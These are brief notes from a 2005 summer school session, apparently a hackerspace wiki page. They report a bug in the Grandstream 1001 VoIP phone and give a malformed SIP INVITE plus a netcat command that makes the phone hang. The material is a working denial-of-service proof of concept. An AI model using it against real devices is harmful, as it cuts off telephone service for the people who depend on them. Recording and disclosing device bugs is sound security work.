Summerschool Aachen 2005/Notes/Tuesday Sep 27 2005

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At the CCCAC (added by Sammy):

Found a Bug in Grandstream 1001 VoIP Telephone

sip.txt:

INVITE sip:
Via: SIP/2.0/UDP
CSeq
To:
From:
Call-ID:

Send it with netcat to the phone and it hangs...

cat sip.txt | nc -u <ipaddress> 5060